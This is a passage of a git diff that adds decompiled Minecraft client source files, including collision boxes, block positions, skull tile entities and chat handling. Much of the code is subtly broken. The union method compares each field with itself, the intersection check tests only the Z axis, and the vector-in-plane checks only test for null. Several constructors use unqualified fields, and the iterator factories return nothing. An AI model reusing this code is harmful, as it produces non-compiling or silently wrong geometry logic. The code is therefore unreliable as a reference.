+    }
+    
+    return true;
+  }
+  
+  public CommandResultStats func_174880_d()
+  {
+    return field_174883_i;
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntitySkull.java b/src/minecraft/net/minecraft/tileentity/TileEntitySkull.java
new file mode 100644
index 0000000..2de647a
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntitySkull.java
@@ -0,0 +1,147 @@
+package net.minecraft.tileentity;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.minecraft.MinecraftSessionService;
+import com.mojang.authlib.properties.Property;
+import com.mojang.authlib.properties.PropertyMap;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTUtil;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.PlayerProfileCache;
+import net.minecraft.util.StringUtils;
+
+public class TileEntitySkull extends TileEntity
+{
+  private int skullType;
+  private int skullRotation;
+  private GameProfile playerProfile = null;
+  private static final String __OBFID = "CL_00000364";
+  
+  public TileEntitySkull() {}
+  
+  public void writeToNBT(NBTTagCompound compound) { super.writeToNBT(compound);
+    compound.setByte("SkullType", (byte)(skullType & 0xFF));
+    compound.setByte("Rot", (byte)(skullRotation & 0xFF));
+    
+    if (playerProfile != null)
+    {
+      NBTTagCompound var2 = new NBTTagCompound();
+      NBTUtil.writeGameProfile(var2, playerProfile);
+      compound.setTag("Owner", var2);
+    }
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    skullType = compound.getByte("SkullType");
+    skullRotation = compound.getByte("Rot");
+    
+    if (skullType == 3)
+    {
+      if (compound.hasKey("Owner", 10))
+      {
+        playerProfile = NBTUtil.readGameProfileFromNBT(compound.getCompoundTag("Owner"));
+      }
+      else if (compound.hasKey("ExtraType", 8))
+      {
+        String var2 = compound.getString("ExtraType");
+        
+        if (!StringUtils.isNullOrEmpty(var2))
+        {
+          playerProfile = new GameProfile(null, var2);
+          func_152109_d();
+        }
+      }
+    }
+  }
+  
+  public GameProfile getPlayerProfile()
+  {
+    return playerProfile;
+  }
+  
+
+
+
+  public net.minecraft.network.Packet getDescriptionPacket()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    writeToNBT(var1);
+    return new S35PacketUpdateTileEntity(pos, 4, var1);
+  }
+  
+  public void setType(int type)
+  {
+    skullType = type;
+    playerProfile = null;
+  }
+  
+  public void setPlayerProfile(GameProfile playerProfile)
+  {
+    skullType = 3;
+    this.playerProfile = playerProfile;
+    func_152109_d();
+  }
+  
+  private void func_152109_d()
+  {
+    playerProfile = updateGameprofile(playerProfile);
+    markDirty();
+  }
+  
+  public static GameProfile updateGameprofile(GameProfile input)
+  {
+    if ((input != null) && (!StringUtils.isNullOrEmpty(input.getName())))
+    {
+      if ((input.isComplete()) && (input.getProperties().containsKey("textures")))
+      {
+        return input;
+      }
+      if (MinecraftServer.getServer() == null)
+      {
+        return input;
+      }
+      
+
+      GameProfile var1 = MinecraftServer.getServer().getPlayerProfileCache().getGameProfileForUsername(input.getName());
+      
+      if (var1 == null)
+      {
+        return input;
+      }
+      
+
+      Property var2 = (Property)com.google.common.collect.Iterables.getFirst(var1.getProperties().get("textures"), null);
+      
+      if (var2 == null)
+      {
+        var1 = MinecraftServer.getServer().getMinecraftSessionService().fillProfileProperties(var1, true);
+      }
+      
+      return var1;
+    }
+    
+
+
+
+    return input;
+  }
+  
+
+  public int getSkullType()
+  {
+    return skullType;
+  }
+  
+  public int getSkullRotation()
+  {
+    return skullRotation;
+  }
+  
+  public void setSkullRotation(int rotation)
+  {
+    skullRotation = rotation;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/AxisAlignedBB.java b/src/minecraft/net/minecraft/util/AxisAlignedBB.java
new file mode 100644
index 0000000..c0fed3c
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/AxisAlignedBB.java
@@ -0,0 +1,368 @@
+package net.minecraft.util;
+
+public class AxisAlignedBB {
+  public double minX;
+  public double minY;
+  public double minZ;
+  public double maxX;
+  public double maxY;
+  public double maxZ;
+  private static final String __OBFID = "CL_00000607";
+  
+  public AxisAlignedBB(double x1, double y1, double z1, double x2, double y2, double z2) {
+    minX = Math.min(x1, x2);
+    minY = Math.min(y1, y2);
+    minZ = Math.min(z1, z2);
+    maxX = Math.max(x1, x2);
+    maxY = Math.max(y1, y2);
+    maxZ = Math.max(z1, z2);
+  }
+  
+  public AxisAlignedBB(BlockPos p_i45554_1_, BlockPos p_i45554_2_) {
+    minX = p_i45554_1_.getX();
+    minY = p_i45554_1_.getY();
+    minZ = p_i45554_1_.getZ();
+    maxX = p_i45554_2_.getX();
+    maxY = p_i45554_2_.getY();
+    maxZ = p_i45554_2_.getZ();
+  }
+  
+
+
+
+  public AxisAlignedBB addCoord(double x, double y, double z)
+  {
+    double var7 = minX;
+    double var9 = minY;
+    double var11 = minZ;
+    double var13 = maxX;
+    double var15 = maxY;
+    double var17 = maxZ;
+    
+    if (x < 0.0D) {
+      var7 += x;
+    } else if (x > 0.0D) {
+      var13 += x;
+    }
+    
+    if (y < 0.0D) {
+      var9 += y;
+    } else if (y > 0.0D) {
+      var15 += y;
+    }
+    
+    if (z < 0.0D) {
+      var11 += z;
+    } else if (z > 0.0D) {
+      var17 += z;
+    }
+    
+    return new AxisAlignedBB(var7, var9, var11, var13, var15, var17);
+  }
+  
+
+
+
+  public AxisAlignedBB expand(double x, double y, double z)
+  {
+    double var7 = minX - x;
+    double var9 = minY - y;
+    double var11 = minZ - z;
+    double var13 = maxX + x;
+    double var15 = maxY + y;
+    double var17 = maxZ + z;
+    return new AxisAlignedBB(var7, var9, var11, var13, var15, var17);
+  }
+  
+  public AxisAlignedBB union(AxisAlignedBB other) {
+    double var2 = Math.min(minX, minX);
+    double var4 = Math.min(minY, minY);
+    double var6 = Math.min(minZ, minZ);
+    double var8 = Math.max(maxX, maxX);
+    double var10 = Math.max(maxY, maxY);
+    double var12 = Math.max(maxZ, maxZ);
+    return new AxisAlignedBB(var2, var4, var6, var8, var10, var12);
+  }
+  
+
+
+
+  public static AxisAlignedBB fromBounds(double p_178781_0_, double p_178781_2_, double p_178781_4_, double p_178781_6_, double p_178781_8_, double p_178781_10_)
+  {
+    double var12 = Math.min(p_178781_0_, p_178781_6_);
+    double var14 = Math.min(p_178781_2_, p_178781_8_);
+    double var16 = Math.min(p_178781_4_, p_178781_10_);
+    double var18 = Math.max(p_178781_0_, p_178781_6_);
+    double var20 = Math.max(p_178781_2_, p_178781_8_);
+    double var22 = Math.max(p_178781_4_, p_178781_10_);
+    return new AxisAlignedBB(var12, var14, var16, var18, var20, var22);
+  }
+  
+
+
+  public AxisAlignedBB offset(double x, double y, double z)
+  {
+    return new AxisAlignedBB(minX + x, minY + y, minZ + z, maxX + x, maxY + y, 
+      maxZ + z);
+  }
+  
+
+
+
+
+
+  public double calculateXOffset(AxisAlignedBB other, double p_72316_2_)
+  {
+    if ((maxY > minY) && (minY < maxY) && (maxZ > minZ) && (minZ < maxZ))
+    {
+
+      if ((p_72316_2_ > 0.0D) && (maxX <= minX)) {
+        double var4 = minX - maxX;
+        
+        if (var4 < p_72316_2_) {
+          p_72316_2_ = var4;
+        }
+      } else if ((p_72316_2_ < 0.0D) && (minX >= maxX)) {
+        double var4 = maxX - minX;
+        
+        if (var4 > p_72316_2_) {
+          p_72316_2_ = var4;
+        }
+      }
+      
+      return p_72316_2_;
+    }
+    return p_72316_2_;
+  }
+  
+
+
+
+
+
+
+  public double calculateYOffset(AxisAlignedBB other, double p_72323_2_)
+  {
+    if ((maxX > minX) && (minX < maxX) && (maxZ > minZ) && (minZ < maxZ))
+    {
+
+      if ((p_72323_2_ > 0.0D) && (maxY <= minY)) {
+        double var4 = minY - maxY;
+        
+        if (var4 < p_72323_2_) {
+          p_72323_2_ = var4;
+        }
+      } else if ((p_72323_2_ < 0.0D) && (minY >= maxY)) {
+        double var4 = maxY - minY;
+        
+        if (var4 > p_72323_2_) {
+          p_72323_2_ = var4;
+        }
+      }
+      
+      return p_72323_2_;
+    }
+    return p_72323_2_;
+  }
+  
+
+
+
+
+
+
+  public double calculateZOffset(AxisAlignedBB other, double p_72322_2_)
+  {
+    if ((maxX > minX) && (minX < maxX) && (maxY > minY) && (minY < maxY))
+    {
+
+      if ((p_72322_2_ > 0.0D) && (maxZ <= minZ)) {
+        double var4 = minZ - maxZ;
+        
+        if (var4 < p_72322_2_) {
+          p_72322_2_ = var4;
+        }
+      } else if ((p_72322_2_ < 0.0D) && (minZ >= maxZ)) {
+        double var4 = maxZ - minZ;
+        
+        if (var4 > p_72322_2_) {
+          p_72322_2_ = var4;
+        }
+      }
+      
+      return p_72322_2_;
+    }
+    return p_72322_2_;
+  }
+  
+
+
+
+
+  public boolean intersectsWith(AxisAlignedBB other)
+  {
+    return 
+      (maxZ > minZ) && (minZ < maxZ);
+  }
+  
+
+
+
+
+  public boolean isVecInside(Vec3 vec)
+  {
+    return 
+      (zCoord > minZ) && (zCoord < maxZ);
+  }
+  
+
+
+
+
+  public double getAverageEdgeLength()
+  {
+    double var1 = maxX - minX;
+    double var3 = maxY - minY;
+    double var5 = maxZ - minZ;
+    return (var1 + var3 + var5) / 3.0D;
+  }
+  
+
+
+  public AxisAlignedBB contract(double x, double y, double z)
+  {
+    double var7 = minX + x;
+    double var9 = minY + y;
+    double var11 = minZ + z;
+    double var13 = maxX - x;
+    double var15 = maxY - y;
+    double var17 = maxZ - z;
+    return new AxisAlignedBB(var7, var9, var11, var13, var15, var17);
+  }
+  
+  public MovingObjectPosition calculateIntercept(Vec3 p_72327_1_, Vec3 p_72327_2_) {
+    Vec3 var3 = p_72327_1_.getIntermediateWithXValue(p_72327_2_, minX);
+    Vec3 var4 = p_72327_1_.getIntermediateWithXValue(p_72327_2_, maxX);
+    Vec3 var5 = p_72327_1_.getIntermediateWithYValue(p_72327_2_, minY);
+    Vec3 var6 = p_72327_1_.getIntermediateWithYValue(p_72327_2_, maxY);
+    Vec3 var7 = p_72327_1_.getIntermediateWithZValue(p_72327_2_, minZ);
+    Vec3 var8 = p_72327_1_.getIntermediateWithZValue(p_72327_2_, maxZ);
+    
+    if (!isVecInYZ(var3)) {
+      var3 = null;
+    }
+    
+    if (!isVecInYZ(var4)) {
+      var4 = null;
+    }
+    
+    if (!isVecInXZ(var5)) {
+      var5 = null;
+    }
+    
+    if (!isVecInXZ(var6)) {
+      var6 = null;
+    }
+    
+    if (!isVecInXY(var7)) {
+      var7 = null;
+    }
+    
+    if (!isVecInXY(var8)) {
+      var8 = null;
+    }
+    
+    Vec3 var9 = null;
+    
+    if (var3 != null) {
+      var9 = var3;
+    }
+    
+    if ((var4 != null) && ((var9 == null) || (p_72327_1_.squareDistanceTo(var4) < p_72327_1_.squareDistanceTo(var9)))) {
+      var9 = var4;
+    }
+    
+    if ((var5 != null) && ((var9 == null) || (p_72327_1_.squareDistanceTo(var5) < p_72327_1_.squareDistanceTo(var9)))) {
+      var9 = var5;
+    }
+    
+    if ((var6 != null) && ((var9 == null) || (p_72327_1_.squareDistanceTo(var6) < p_72327_1_.squareDistanceTo(var9)))) {
+      var9 = var6;
+    }
+    
+    if ((var7 != null) && ((var9 == null) || (p_72327_1_.squareDistanceTo(var7) < p_72327_1_.squareDistanceTo(var9)))) {
+      var9 = var7;
+    }
+    
+    if ((var8 != null) && ((var9 == null) || (p_72327_1_.squareDistanceTo(var8) < p_72327_1_.squareDistanceTo(var9)))) {
+      var9 = var8;
+    }
+    
+    if (var9 == null) {
+      return null;
+    }
+    EnumFacing var10 = null;
+    
+    if (var9 == var3) {
+      var10 = EnumFacing.WEST;
+    } else if (var9 == var4) {
+      var10 = EnumFacing.EAST;
+    } else if (var9 == var5) {
+      var10 = EnumFacing.DOWN;
+    } else if (var9 == var6) {
+      var10 = EnumFacing.UP;
+    } else if (var9 == var7) {
+      var10 = EnumFacing.NORTH;
+    } else {
+      var10 = EnumFacing.SOUTH;
+    }
+    
+    return new MovingObjectPosition(var9, var10);
+  }
+  
+
+
+
+
+  private boolean isVecInYZ(Vec3 vec)
+  {
+    return vec != null;
+  }
+  
+
+
+
+
+
+  private boolean isVecInXZ(Vec3 vec)
+  {
+    return vec != null;
+  }
+  
+
+
+
+
+
+  private boolean isVecInXY(Vec3 vec)
+  {
+    return vec != null;
+  }
+  
+
+  public String toString()
+  {
+    return 
+      "box[" + minX + ", " + minY + ", " + minZ + " -> " + maxX + ", " + maxY + ", " + maxZ + "]";
+  }
+  
+  public AxisAlignedBB offsetAndUpdate(double par1, double par3, double par5) {
+    minX += par1;
+    minY += par3;
+    minZ += par5;
+    maxX += par1;
+    maxY += par3;
+    maxZ += par5;
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/BlockPos.java b/src/minecraft/net/minecraft/util/BlockPos.java
new file mode 100644
index 0000000..8ec262c
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/BlockPos.java
@@ -0,0 +1,415 @@
+package net.minecraft.util;
+
+import com.google.common.collect.AbstractIterator;
+import java.util.Iterator;
+import net.minecraft.entity.Entity;
+
+public class BlockPos
+  extends Vec3i
+{
+  public static final BlockPos ORIGIN = new BlockPos(0, 0, 0);
+  private static final int field_177990_b = 1 + MathHelper.calculateLogBaseTwo(MathHelper.roundUpToPowerOfTwo(30000000));
+  private static final int field_177991_c = field_177990_b;
+  private static final int field_177989_d = 64 - field_177990_b - field_177991_c;
+  private static final int field_177987_f = 0 + field_177991_c;
+  private static final int field_177988_g = field_177987_f + field_177989_d;
+  private static final long field_177994_h = (1L << field_177990_b) - 1L;
+  private static final long field_177995_i = (1L << field_177989_d) - 1L;
+  private static final long field_177993_j = (1L << field_177991_c) - 1L;
+  private static final String __OBFID = "CL_00002334";
+  
+  public BlockPos(int x, int y, int z)
+  {
+    super(x, y, z);
+  }
+  
+  public BlockPos(double x, double y, double z)
+  {
+    super(x, y, z);
+  }
+  
+  public BlockPos(Entity p_i46032_1_)
+  {
+    this(posX, posY, posZ);
+  }
+  
+  public BlockPos(Vec3 p_i46033_1_)
+  {
+    this(xCoord, yCoord, zCoord);
+  }
+  
+  public BlockPos(Vec3i p_i46034_1_)
+  {
+    this(p_i46034_1_.getX(), p_i46034_1_.getY(), p_i46034_1_.getZ());
+  }
+  
+
+
+
+
+
+
+
+  public BlockPos add(double x, double y, double z)
+  {
+    return new BlockPos(getX() + x, getY() + y, getZ() + z);
+  }
+  
+
+
+
+
+
+
+
+  public BlockPos add(int x, int y, int z)
+  {
+    return new BlockPos(getX() + x, getY() + y, getZ() + z);
+  }
+  
+
+
+
+  public BlockPos add(Vec3i vec)
+  {
+    return new BlockPos(getX() + vec.getX(), getY() + vec.getY(), getZ() + vec.getZ());
+  }
+  
+
+
+
+  public BlockPos subtract(Vec3i vec)
+  {
+    return new BlockPos(getX() - vec.getX(), getY() - vec.getY(), getZ() - vec.getZ());
+  }
+  
+
+
+
+  public BlockPos multiply(int factor)
+  {
+    return new BlockPos(getX() * factor, getY() * factor, getZ() * factor);
+  }
+  
+
+
+
+  public BlockPos offsetUp()
+  {
+    return offsetUp(1);
+  }
+  
+
+
+
+  public BlockPos offsetUp(int n)
+  {
+    return offset(EnumFacing.UP, n);
+  }
+  
+
+
+
+  public BlockPos offsetDown()
+  {
+    return offsetDown(1);
+  }
+  
+
+
+
+  public BlockPos offsetDown(int n)
+  {
+    return offset(EnumFacing.DOWN, n);
+  }
+  
+
+
+
+  public BlockPos offsetNorth()
+  {
+    return offsetNorth(1);
+  }
+  
+
+
+
+  public BlockPos offsetNorth(int n)
+  {
+    return offset(EnumFacing.NORTH, n);
+  }
+  
+
+
+
+  public BlockPos offsetSouth()
+  {
+    return offsetSouth(1);
+  }
+  
+
+
+
+  public BlockPos offsetSouth(int n)
+  {
+    return offset(EnumFacing.SOUTH, n);
+  }
+  
+
+
+
+  public BlockPos offsetWest()
+  {
+    return offsetWest(1);
+  }
+  
+
+
+
+  public BlockPos offsetWest(int n)
+  {
+    return offset(EnumFacing.WEST, n);
+  }
+  
+
+
+
+  public BlockPos offsetEast()
+  {
+    return offsetEast(1);
+  }
+  
+
+
+
+  public BlockPos offsetEast(int n)
+  {
+    return offset(EnumFacing.EAST, n);
+  }
+  
+
+
+
+  public BlockPos offset(EnumFacing facing)
+  {
+    return offset(facing, 1);
+  }
+  
+
+
+
+  public BlockPos offset(EnumFacing facing, int n)
+  {
+    return new BlockPos(getX() + facing.getFrontOffsetX() * n, getY() + facing.getFrontOffsetY() * n, getZ() + facing.getFrontOffsetZ() * n);
+  }
+  
+
+
+
+
+  public BlockPos crossProductBP(Vec3i vec)
+  {
+    return new BlockPos(getY() * vec.getZ() - getZ() * vec.getY(), getZ() * vec.getX() - getX() * vec.getZ(), getX() * vec.getY() - getY() * vec.getX());
+  }
+  
+
+
+
+  public long toLong()
+  {
+    return (getX() & field_177994_h) << field_177988_g | (getY() & field_177995_i) << field_177987_f | (getZ() & field_177993_j) << 0;
+  }
+  
+
+
+
+  public static BlockPos fromLong(long serialized)
+  {
+    int var2 = (int)(serialized << 64 - field_177988_g - field_177990_b >> 64 - field_177990_b);
+    int var3 = (int)(serialized << 64 - field_177987_f - field_177989_d >> 64 - field_177989_d);
+    int var4 = (int)(serialized << 64 - field_177991_c >> 64 - field_177991_c);
+    return new BlockPos(var2, var3, var4);
+  }
+  
+
+
+
+
+
+
+  public static Iterable getAllInBox(BlockPos from, BlockPos to)
+  {
+    BlockPos var2 = new BlockPos(Math.min(from.getX(), to.getX()), Math.min(from.getY(), to.getY()), Math.min(from.getZ(), to.getZ()));
+    final BlockPos var3 = new BlockPos(Math.max(from.getX(), to.getX()), Math.max(from.getY(), to.getY()), Math.max(from.getZ(), to.getZ()));
+    new Iterable()
+    {
+      private static final String __OBFID = "CL_00002333";
+      
+      public Iterator iterator() {
+        new AbstractIterator()
+        {
+          private BlockPos lastReturned = null;
+          private static final String __OBFID = "CL_00002332";
+          
+          protected BlockPos computeNext0() {
+            if (lastReturned == null)
+            {
+              lastReturned = val$var2;
+              return lastReturned;
+            }
+            if (lastReturned.equals(val$var3))
+            {
+              return (BlockPos)endOfData();
+            }
+            
+
+            int var1 = lastReturned.getX();
+            int var2x = lastReturned.getY();
+            int var3x = lastReturned.getZ();
+            
+            if (var1 < val$var3.getX())
+            {
+              var1++;
+            }
+            else if (var2x < val$var3.getY())
+            {
+              var1 = val$var2.getX();
+              var2x++;
+            }
+            else if (var3x < val$var3.getZ())
+            {
+              var1 = val$var2.getX();
+              var2x = val$var2.getY();
+              var3x++;
+            }
+            
+            lastReturned = new BlockPos(var1, var2x, var3x);
+            return lastReturned;
+          }
+          
+          protected Object computeNext()
+          {
+            return computeNext0();
+          }
+        };
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+  public static Iterable getAllInBoxMutable(BlockPos from, BlockPos to)
+  {
+    BlockPos var2 = new BlockPos(Math.min(from.getX(), to.getX()), Math.min(from.getY(), to.getY()), Math.min(from.getZ(), to.getZ()));
+    final BlockPos var3 = new BlockPos(Math.max(from.getX(), to.getX()), Math.max(from.getY(), to.getY()), Math.max(from.getZ(), to.getZ()));
+    new Iterable()
+    {
+      private static final String __OBFID = "CL_00002331";
+      
+      public Iterator iterator() {
+        new AbstractIterator()
+        {
+          private BlockPos.MutableBlockPos theBlockPos = null;
+          private static final String __OBFID = "CL_00002330";
+          
+          protected BlockPos.MutableBlockPos computeNext0() {
+            if (theBlockPos == null)
+            {
+              theBlockPos = new BlockPos.MutableBlockPos(val$var2.getX(), val$var2.getY(), val$var2.getZ(), null);
+              return theBlockPos;
+            }
+            if (theBlockPos.equals(val$var3))
+            {
+              return (BlockPos.MutableBlockPos)endOfData();
+            }
+            
+
+            int var1 = theBlockPos.getX();
+            int var2xx = theBlockPos.getY();
+            int var3x = theBlockPos.getZ();
+            
+            if (var1 < val$var3.getX())
+            {
+              var1++;
+            }
+            else if (var2xx < val$var3.getY())
+            {
+              var1 = val$var2.getX();
+              var2xx++;
+            }
+            else if (var3x < val$var3.getZ())
+            {
+              var1 = val$var2.getX();
+              var2xx = val$var2.getY();
+              var3x++;
+            }
+            
+            theBlockPos.x = var1;
+            theBlockPos.y = var2xx;
+            theBlockPos.z = var3x;
+            return theBlockPos;
+          }
+          
+          protected Object computeNext()
+          {
+            return computeNext0();
+          }
+        };
+      }
+    };
+  }
+  
+
+
+
+  public Vec3i crossProduct(Vec3i vec)
+  {
+    return crossProductBP(vec);
+  }
+  
+  public static final class MutableBlockPos extends BlockPos
+  {
+    public int x;
+    public int y;
+    public int z;
+    private static final String __OBFID = "CL_00002329";
+    
+    private MutableBlockPos(int x_, int y_, int z_)
+    {
+      super(0, 0);
+      x = x_;
+      y = y_;
+      z = z_;
+    }
+    
+    public int getX()
+    {
+      return x;
+    }
+    
+    public int getY()
+    {
+      return y;
+    }
+    
+    public int getZ()
+    {
+      return z;
+    }
+    
+    public Vec3i crossProduct(Vec3i vec)
+    {
+      return super.crossProductBP(vec);
+    }
+    
+    MutableBlockPos(int p_i46025_1_, int p_i46025_2_, int p_i46025_3_, Object p_i46025_4_)
+    {
+      this(p_i46025_1_, p_i46025_2_, p_i46025_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Cartesian.java b/src/minecraft/net/minecraft/util/Cartesian.java
new file mode 100644
index 0000000..7edf90f
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Cartesian.java
@@ -0,0 +1,224 @@
+package net.minecraft.util;
+
+import com.google.common.base.Function;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import com.google.common.collect.UnmodifiableIterator;
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+
+
+
+
+public class Cartesian
+{
+  private static final String __OBFID = "CL_00002327";
+  
+  public Cartesian() {}
+  
+  public static Iterable cartesianProduct(Class clazz, Iterable sets)
+  {
+    return new Product(clazz, (Iterable[])toArray(Iterable.class, sets), null);
+  }
+  
+
+
+
+  public static Iterable cartesianProduct(Iterable sets)
+  {
+    return arraysAsLists(cartesianProduct(Object.class, sets));
+  }
+  
+
+
+
+  private static Iterable arraysAsLists(Iterable arrays)
+  {
+    return Iterables.transform(arrays, new GetList(null));
+  }
+  
+
+
+
+  private static Object[] toArray(Class clazz, Iterable it)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = it.iterator();
+    
+    while (var3.hasNext())
+    {
+      Object var4 = var3.next();
+      var2.add(var4);
+    }
+    
+    return var2.toArray(createArray(clazz, var2.size()));
+  }
+  
+  private static Object[] createArray(Class p_179319_0_, int p_179319_1_)
+  {
+    return (Object[])Array.newInstance(p_179319_0_, p_179319_1_);
+  }
+  
+  static class GetList implements Function
+  {
+    private static final String __OBFID = "CL_00002325";
+    
+    private GetList() {}
+    
+    public List apply(Object[] array)
+    {
+      return Arrays.asList(array);
+    }
+    
+    public Object apply(Object p_apply_1_)
+    {
+      return apply((Object[])p_apply_1_);
+    }
+    
+    GetList(Object p_i46022_1_)
+    {
+      this();
+    }
+  }
+  
+  static class Product implements Iterable
+  {
+    private final Class clazz;
+    private final Iterable[] iterables;
+    private static final String __OBFID = "CL_00002324";
+    
+    private Product(Class clazz, Iterable[] iterables)
+    {
+      this.clazz = clazz;
+      this.iterables = iterables;
+    }
+    
+    public Iterator iterator()
+    {
+      return iterables.length <= 0 ? Collections.singletonList(Cartesian.createArray(clazz, 0)).iterator() : new ProductIterator(clazz, iterables, null);
+    }
+    
+    Product(Class p_i46021_1_, Iterable[] p_i46021_2_, Object p_i46021_3_)
+    {
+      this(p_i46021_1_, p_i46021_2_);
+    }
+    
+    static class ProductIterator extends UnmodifiableIterator
+    {
+      private int index;
+      private final Iterable[] iterables;
+      private final Iterator[] iterators;
+      private final Object[] results;
+      private static final String __OBFID = "CL_00002323";
+      
+      private ProductIterator(Class clazz, Iterable[] iterables)
+      {
+        index = -2;
+        this.iterables = iterables;
+        iterators = ((Iterator[])Cartesian.createArray(Iterator.class, this.iterables.length));
+        
+        for (int var3 = 0; var3 < this.iterables.length; var3++)
+        {
+          iterators[var3] = iterables[var3].iterator();
+        }
+        
+        results = Cartesian.createArray(clazz, iterators.length);
+      }
+      
+      private void endOfData()
+      {
+        index = -1;
+        Arrays.fill(iterators, null);
+        Arrays.fill(results, null);
+      }
+      
+      public boolean hasNext()
+      {
+        if (index == -2)
+        {
+          index = 0;
+          Iterator[] var5 = iterators;
+          int var2 = var5.length;
+          
+          for (int var3 = 0; var3 < var2; var3++)
+          {
+            Iterator var4 = var5[var3];
+            
+            if (!var4.hasNext())
+            {
+              endOfData();
+              break;
+            }
+          }
+          
+          return true;
+        }
+        
+
+        if (index >= iterators.length)
+        {
+          for (index = (iterators.length - 1); index >= 0; index -= 1)
+          {
+            Iterator var1 = iterators[index];
+            
+            if (var1.hasNext()) {
+              break;
+            }
+            
+
+            if (index == 0)
+            {
+              endOfData();
+              break;
+            }
+            
+            var1 = iterables[index].iterator();
+            iterators[index] = var1;
+            
+            if (!var1.hasNext())
+            {
+              endOfData();
+              break;
+            }
+          }
+        }
+        
+        return index >= 0;
+      }
+      
+
+      public Object[] next0()
+      {
+        if (!hasNext())
+        {
+          throw new NoSuchElementException();
+        }
+        
+
+        while (index < iterators.length)
+        {
+          results[index] = iterators[index].next();
+          index += 1;
+        }
+        
+        return (Object[])results.clone();
+      }
+      
+
+      public Object next()
+      {
+        return next0();
+      }
+      
+      ProductIterator(Class p_i46019_1_, Iterable[] p_i46019_2_, Object p_i46019_3_)
+      {
+        this(p_i46019_1_, p_i46019_2_);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatAllowedCharacters.java b/src/minecraft/net/minecraft/util/ChatAllowedCharacters.java
new file mode 100644
index 0000000..f28d753
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatAllowedCharacters.java
@@ -0,0 +1,37 @@
+package net.minecraft.util;
+
+
+
+
+public class ChatAllowedCharacters
+{
+  public static final char[] allowedCharactersArray = { '/', '\n', '\r', '\t', '\000', '\f', '`', '?', '*', '\\', '<', '>', '|', '"', ':' };
+  private static final String __OBFID = "CL_00001606";
+  
+  public ChatAllowedCharacters() {}
+  
+  public static boolean isAllowedCharacter(char character) { return (character != '§') && (character >= ' ') && (character != ''); }
+  
+
+
+
+
+  public static String filterAllowedCharacters(String input)
+  {
+    StringBuilder var1 = new StringBuilder();
+    char[] var2 = input.toCharArray();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      char var5 = var2[var4];
+      
+      if (isAllowedCharacter(var5))
+      {
+        var1.append(var5);
+      }
+    }
+    
+    return var1.toString();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatComponentProcessor.java b/src/minecraft/net/minecraft/util/ChatComponentProcessor.java
new file mode 100644
index 0000000..25b59c4
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatComponentProcessor.java
@@ -0,0 +1,92 @@
+package net.minecraft.util;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.PlayerSelector;
+import net.minecraft.entity.Entity;
+
+public class ChatComponentProcessor
+{
+  private static final String __OBFID = "CL_00002310";
+  
+  public ChatComponentProcessor() {}
+  
+  public static IChatComponent func_179985_a(ICommandSender p_179985_0_, IChatComponent p_179985_1_, Entity p_179985_2_) throws net.minecraft.command.CommandException
+  {
+    Object var3 = null;
+    
+    if ((p_179985_1_ instanceof ChatComponentScore))
+    {
+      ChatComponentScore var4 = (ChatComponentScore)p_179985_1_;
+      String var5 = var4.func_179995_g();
+      
+      if (PlayerSelector.hasArguments(var5))
+      {
+        List var6 = PlayerSelector.func_179656_b(p_179985_0_, var5, Entity.class);
+        
+        if (var6.size() != 1)
+        {
+          throw new net.minecraft.command.EntityNotFoundException();
+        }
+        
+        var5 = ((Entity)var6.get(0)).getName();
+      }
+      
+      var3 = (p_179985_2_ != null) && (var5.equals("*")) ? new ChatComponentScore(p_179985_2_.getName(), var4.func_179994_h()) : new ChatComponentScore(var5, var4.func_179994_h());
+      ((ChatComponentScore)var3).func_179997_b(var4.getUnformattedTextForChat());
+    }
+    else if ((p_179985_1_ instanceof ChatComponentSelector))
+    {
+      String var7 = ((ChatComponentSelector)p_179985_1_).func_179992_g();
+      var3 = PlayerSelector.func_150869_b(p_179985_0_, var7);
+      
+      if (var3 == null)
+      {
+        var3 = new ChatComponentText("");
+      }
+    }
+    else if ((p_179985_1_ instanceof ChatComponentText))
+    {
+      var3 = new ChatComponentText(((ChatComponentText)p_179985_1_).getChatComponentText_TextValue());
+    }
+    else
+    {
+      if (!(p_179985_1_ instanceof ChatComponentTranslation))
+      {
+        return p_179985_1_;
+      }
+      
+      Object[] var8 = ((ChatComponentTranslation)p_179985_1_).getFormatArgs();
+      
+      for (int var10 = 0; var10 < var8.length; var10++)
+      {
+        Object var12 = var8[var10];
+        
+        if ((var12 instanceof IChatComponent))
+        {
+          var8[var10] = func_179985_a(p_179985_0_, (IChatComponent)var12, p_179985_2_);
+        }
+      }
+      
+      var3 = new ChatComponentTranslation(((ChatComponentTranslation)p_179985_1_).getKey(), var8);
+    }
+    
+    ChatStyle var9 = p_179985_1_.getChatStyle();
+    
+    if (var9 != null)
+    {
+      ((IChatComponent)var3).setChatStyle(var9.createShallowCopy());
+    }
+    
+    Iterator var11 = p_179985_1_.getSiblings().iterator();
+    
+    while (var11.hasNext())
+    {
+      IChatComponent var13 = (IChatComponent)var11.next();
